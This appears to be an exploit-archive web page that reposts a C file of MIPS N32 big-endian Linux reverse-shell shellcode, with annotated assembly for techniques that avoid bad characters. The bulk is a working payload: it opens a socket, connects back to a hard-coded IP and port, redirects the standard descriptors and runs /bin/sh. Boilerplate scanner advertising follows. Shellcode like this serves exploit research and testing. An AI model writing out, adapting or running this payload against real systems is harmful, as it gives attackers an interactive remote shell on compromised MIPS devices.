linuxmips n32 msb reverse shell shellcode

▸▸▸ Exploit & Vulnerability >>   shellcode exploit & linux_mips vulnerability




linuxmips n32 msb reverse shell shellcode Code Code...
				
/* * mips_n32_msb_linux_revsh.c - MIPS N32 MSB Linux reverse * Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info> * * Basic MIPS N32 MSB Linux reverse shellcode, showcasing various * techniques to avoid badchars. * * Cross-compile (https://buildroot.org/) with: * $ mips64-linux-gcc -static mips_n32_msb_linux_revsh.c -o revsh * * Tested on Linux MIPS64 Cavium Octeon III. I placed the shellcode on the * stack, because on my test device the .data section was not executable. * * Based on https://youtu.be/0-_Wtz5L9ZY by Evan Walls at tacnetsol.com. */ void main() { char sc[] = // sub technique "\x24\x0d\xff\xfa" // li $t1, -6 "\x01\xa0\x68\x27" // nor $t1, $zero # 5 // sock = socket(2, 2, 0) "\x25\xa4\xff\xfd" // addiu $a0, $t1, -3 # 2 "\x25\xa5\xff\xfd" // addiu $a1, $t1, -3 # 2 "\x25\xa6\xff\xfb" // addiu $a2, $t1, -5 # 0 "\x24\x02\x17\x98" // li $v0, 0x1798 # socket (0x1798) "\x01\x01\x01\x0c" // syscall 0x40404 "\x24\x50\x10\x10" // addiu $s0, $v0, 0x1010 # sock + 0x1010 // xor technique "\x24\x0e\x21\x21" // li $t2, 0x2121 // connect(sock, {2, 0x5ac2, 0x5db8d822}, 16) "\x26\x04\xef\xf0" // addiu $a0, $s0, -0x1010 # sock "\x39\xcc\x21\x23" // xori $t0, $t2, 0x2123 # 2 "\xa7\xac\xff\xec" // sh $t0, -20($sp) "\x24\x0c\x5a\xc2" // li $t0, 0x5ac2 # 23234 << XXX port "\xa7\xac\xff\xee" // sh $t0, -18($sp) "\x24\x0c\x5d\xb8" // li $t0, 0x5db8 # 93.184 << XXX ip1 "\xa7\xac\xff\xf0" // sh $t0, -16($sp) "\x34\x0c\xd8\x22" // li $t0, 0xd822 # 216.34 << XXX ip2 "\xa7\xac\xff\xf2" // sh $t0, -14($sp) "\x27\xa5\xff\xec" // addiu $a1, $sp, -20 "\x39\xc6\x21\x31" // xori $a2, $t2, 0x2131 # 16 "\x24\x02\x17\x99" // li $v0, 0x1799 # connect (0x1799) "\x01\x01\x01\x0c" // .byte 0x01, 0x01, 0x01, 0x0c # syscall // add overflow technique "\x24\x0f\x7f\x7f" // li $t3, 0x7f7f // dup2(sock, 0) "\x26\x04\xef\xf0" // addiu $a0, $s0, -0x1010 # sock "\x25\xe5\x80\x81" // addiu $a1, $t3, 0x8081 # 0 "\x24\x02\x17\x90" // dup2 (0x1790) "\x01\x01\x01\x0c" // syscall 0x40404 // dup2(sock, 1) "\x26\x04\xef\xf0" // addiu $a0, $s0, -0x1010 # sock "\x25\xe5\x80\x82" // addiu $a1, $t3, 0x8082 # 1 "\x24\x02\x17\x90" // dup2 (0x1790) "\x01\x01\x01\x0c" // syscall 0x40404 // dup2(sock, 2) "\x26\x04\xef\xf0" // addiu $a0, $s0, -0x1010 # sock "\x25\xe5\x80\x83" // addiu $a1, $t3, 0x8083 # 2 "\x24\x02\x17\x90" // dup2 (0x1790) "\x01\x01\x01\x0c" // syscall 0x40404 // execve("/bin/sh", ["/bin/sh"], 0) "\x3c\x0c\x2f\x62" // lui $t0, 0x2f62 # "/b" "\x25\x8c\x69\x6e" // addiu $t0, 0x696e # "in" "\xaf\xac\xff\xec" // sw $t0, -20($sp) "\x3c\x0c\x2f\x73" // lui $t0, 0x2f73 # "/s" "\x25\x8c\x68\x68" // addiu $t0, 0x6868 # "hh" "\xaf\xac\xff\xf0" // sw $t0, -16($sp) "\xa3\xa0\xff\xf3" // sb $zero, -13($sp) # NUL "\x27\xa4\xff\xec" // addiu $a0, $sp, -20 "\xaf\xa4\xff\xf8" // sw $a0, -8($sp) "\xaf\xa0\xff\xfc" // sw $zero, -4($sp) "\x27\xa5\xff\xf8" // addiu $a1, $sp, -8 "\x28\x06\xff\xff" // slti $a2, $zero, -1 # 0 (slti technique) "\x24\x02\x17\xa9" // li $v0, 0x17a9 # execve (0x17a9) "\x01\x01\x01\x0c"; // syscall 0x40404 void (*f)() = (void *)sc; f(); }

Linuxmips n32 msb reverse shell shellcode Vulnerability / Exploit Source : Linuxmips n32 msb reverse shell shellcode



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.